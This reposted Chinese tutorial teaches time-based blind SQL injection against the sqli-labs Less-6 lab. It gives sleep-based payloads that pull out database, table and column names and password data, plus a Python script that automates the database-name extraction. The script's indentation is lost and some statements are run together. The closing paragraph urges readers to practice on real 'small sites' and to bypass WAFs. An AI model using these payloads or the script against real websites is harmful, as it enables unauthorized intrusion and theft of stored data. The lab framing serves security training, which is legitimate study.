盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇
Posted 开源聚合网络空间安全研究院
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇相关的知识,希望对你有一定的参考价值。
渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。
前请回顾:
由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。
先整理几个基本函数:
if(1,2,3):如果1真,则执行2,否则执行3
Sleep(x):执行延迟x秒
Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)
Sqli-labs less-6:
这里尝试时间盲注。
1.爆数据库名:
192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。
同理判断其余字符,最后得出数据库名security。
2. 爆表名:
2.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,1,sleep(3))--+
>101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。
3. 爆列名:
3.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105,1,sleep(3))--+
>105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。
4. 爆数据:
4.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))--+
>68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。
只完成爆出数据库名,其余数据根据需要更改即可。
#coding:utf-8
#Author:LSA
#Description:Time based sqli script for sqli-labs less 6#Data:20180108
import requests
import time
import string
import sys
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
lengthUrl = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
lengthUrlFormat = lengthUrl.format(l)
start_time0 = time.time()
rsp0 = requests.get(lengthUrlFormat,headers=headers)if time.time() - start_time0 > 2.5:
print 'database length is ' + str(l)
global length
length = l
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char)
url = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
rsp = requests.get(urlformat,headers=headers)if time.time() - start_time > 2.5:
database+=char
print 'database: ',database
break
else:
pass
print 'database is ' + database
到此三种sql盲注全部完结,涉及到的知识都很基础,全部看懂的话就可以找一些小站练手了,如果遇到waf/狗就要绕过了,另外,要灵活机变,一条路不通就换个方向,比如sqli-labs less 6不仅可以时间盲注入,报错和布尔都可以,还有上次的布尔盲注less 8也可以用时间盲注,这就是为什么sqlmap有时会同时给出多种注入方案的原因了。
文:_LSA_
来源:i春秋
链接:https://bbs.ichunqiu.com/thread-32229-1-1.html
专注信息安全人才培养
搭建企业人才供需桥梁
以上是关于盲注系列sql盲注之时间盲注(附自动化脚本)-系列终篇的主要内容,如果未能解决你的问题,请参考以下文章